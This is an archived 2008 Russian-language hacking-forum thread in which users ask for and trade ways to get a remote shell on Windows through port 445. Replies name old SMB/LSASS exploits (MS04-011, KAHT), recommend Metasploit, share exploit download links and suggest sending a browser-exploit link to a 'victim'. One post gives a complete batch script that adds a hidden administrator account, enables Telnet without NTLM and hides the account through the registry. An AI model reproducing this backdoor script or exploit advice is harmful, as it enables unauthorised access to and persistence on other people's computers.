Просмотр полной версии : получение cmd через порт 445, возможно ли?
m-Xacker
19.09.2008, 01:39
Здраствуйте!
Хотелось бы узнать возможно ли получить теленет через порт 445, если да то каким софтом?
нет
Можно если машинка давно не обновлялась и в ней есть уязвимость MS04–011
MaSTeR GэN
19.09.2008, 08:48
TC иcчи в гугле экплоит КАНТ года 2003 )Но машин с этой уязвимостью очень мало )
в моей локалке таких тачек дохера, уязвимость существует в винде СП1 с открытым 445 портом, юзай metasploit
Еще можно через кмд файлик (создаёшь текставик, пихаешь текст, сохранить как *cmd)
==========
chcp 1251
net user admin admin /add
net localgroup Администраторы admin /add
sc config tlntsvr start= auto
tlntadmn config port=23 sec=-NTLM
net start Telnet
REG ADD "HKLM\SOFTWARE\Microsoft\Win
dowsNT\CurrentVersion\Winlogon\SpecialAccounts\Use rList\admin" /v admin /t reg_d
word /d 0000000
==============
m-Xacker
19.09.2008, 13:01
не тут вопрос в другом , есть эксплот MS06-035 который перезагружает машины, через порт 445 , вот я и хотел спросить есть ли такой эксплот под порт 445 но только с выводом удалённой командной строки , типа kaht :confused:
Что за софт юзаешь? Залейка на вебфайл
m-Xacker
19.09.2008, 13:37
Что за софт юзаешь? Залейка на вебфайл
держи ))) токак всю сеть не вали разом
http://depositfiles.com/ru/files/8071822
m-Xacker
19.09.2008, 19:02
И тишина .... :rolleyes:
http://www.milw0rm.com/exploits/3746 ?
Хотя врятли актуально
_http://slil.ru/26161734
старая штука. Пасс к архиву 1
m-Xacker
20.09.2008, 02:39
_http://slil.ru/26161734
старая штука. Пасс к архиву 1
полная фигня)))
.nor - я так и не разобрался но похоже там какие то исходники (((
неможет быть такого что эксплот для порта на перезагрузку есть, а для удалённой cmd сделать нельзя, я чуствую есть такой эксплот просто светить не хотят люди, ну кинте хоть в личку ссылку ;)
hacker4all
20.09.2008, 04:11
Ты метасплоит поставь и попробуй все баги MS и либу ASN или хз не помню ща че там... а то мне сканер не находил баги которые сработали... Да и бага под ИЕ актуальна 2006г... Линку жертве и гуд ))
Вывод: Метасплоит, если трудности с консолью веб интерфейс быстрее сделает ))
Вот кстати ничего так)
http://video.antichat.ru/file182.html
найди сполит ЛСА (lsa )
обычно катит на сп1 без обновлений
найди сполит ЛСА (lsa )
обычно катит на сп1 без обновлений
Кроме lsa ещё есть rpc_gui_v2.0 кто найдёт огребет в репу от меня ( РАБОЧЕИ (!!!) ПРОГИ )
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot